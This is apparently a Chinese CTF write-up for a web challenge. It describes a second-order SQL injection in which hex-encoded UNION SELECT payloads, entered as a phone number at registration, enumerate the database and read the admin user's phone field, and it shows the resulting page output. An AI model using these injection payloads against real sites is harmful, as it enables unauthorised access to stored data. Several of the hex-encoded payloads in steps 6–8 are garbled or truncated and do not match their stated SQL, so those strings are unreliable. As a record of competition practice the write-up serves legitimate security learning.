CTF-2017第二届广东省强网杯线上赛：phone number

原创

Flutter&Python&Test 于 2018-07-25 16:25:27 发布 60 收藏
文章标签： 数据库 mysql java sql 数据仓库

> 分值：200分 类型：Web题目名称：phone number
> 题目内容：Phone number is a good thing.

知识点

- **information_schema**

  information_schema数据库是MySQL自带的，它提供了访问数据库元数据的方式。什么是元数据呢？元数据是关于数据的数据，如数据库名或表名，列的数据类型，或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
  在MySQL中，把 information_schema 看作是一个数据库，确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中，有数个只读表。它们实际上是视图，而不是基本表，因此，无法看到与之相关的任何文件。

参考资料:MySQL中information_schema是什么INFORMATION_SCHEMA.COLUMNS-表的字段信息mysql中information_schema说明

- **union**

参考资料:PHP+MySQL 手工注入语句大全

操作步骤

1. 点击url,发现是个web页面,注册,登录,提示可以check手机号,点击check,会提示有多少人和你一样的号码
2. 查看上面各阶段报文,无异常发现,但是check后显示的页面源码里有一句注释听说`admin`的`phone`隐藏着秘密哦, 这意思就是告诉我们答案就在admin用户的phone字段.
3. 经过尝试,发现手机号码在注册时可以填入16进制数字,而登录后check手机号码时可以看到被后台转换为正常数字.
4. 将sql注入爆库语句`1 union select schema_name from information_schema.schemata`转为16进制:`0x3120756e696f6e2073656c65637420736368656d615f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d617461` , 作为手机号码填入,注册成功
5. 登录后,点击check,sql注入成功,页面部分源代码为:

```
<div class="text" style=" text-align:center;">There only 22883 people use the same phone as you</div>
<div class="text" style=" text-align:center;">There only information_schema people use the same phone as you</div>
<div class="text" style=" text-align:center;">There only mysql people use the same phone as you</div>
<div class="text" style=" text-align:center;">There only performance_schema people use the same phone as you</div>
<div class="text" style=" text-align:center;">There only webdb people use the same phone as you</div><!-- 听说admin的phone隐藏着秘密哦
```

最后的注释告诉我们,flag就在admin用户的phone字段里

6. 将sql注入爆表语句`1 union select table_name from information_schema.tables`转为16进制:`0x3120756e696f6e2073656c65637420746162c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573` ,同样注册并登录,check,页面会显示数据库里的各个表名,可以发现有一个user表.
7. 接下来是爆字段,语句`1 union select column_name from information_schema.columns where table_name= 0x75736572`(0x75736572是表名'user'的16进制)转为16进制`3120756e696f6e2073656c65637420636f6c756d6e5f6e616d652020066726f6d2020696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207`注册,登录,check,界面会显示表里的各个字段.
8. 最后一步,根据第5步看到的源码提示,直接去user表找admin用户的phone. sql语句`1 union select phone from user where username = 0x61646d696e`转为16进制`0x3120756e696f6e2073656c65637420207068656e652020066726f6d207573657220776865726520757365726e616d6520203d203078363136343664363936365`,注册,登录,check,页面显示:

```
There only 22917 people use the same phone as you
There only flag{xxxxx-xxx-xxxx-xxxx-xx} people use the same phone as you
There only 1555555 people use the same phone as you
There only 15500956659 people use the same phone as you
There only 1 people use the same phone as you
There only 123456 people use the same phone as you
```

显然flag就是页面显示的这个 . O(∩_∩)O

> 页面显示的flag真实值在这我用xxxx替代了

总结

这题最大的难点在于需要发现注册时手机号码可以用16进制,并且后台会转换为对应的字符串再处理,这里就可以尝试有无SQL注入的可能性,一旦发现了注入点,后面的就是常规的SQL注入步骤了.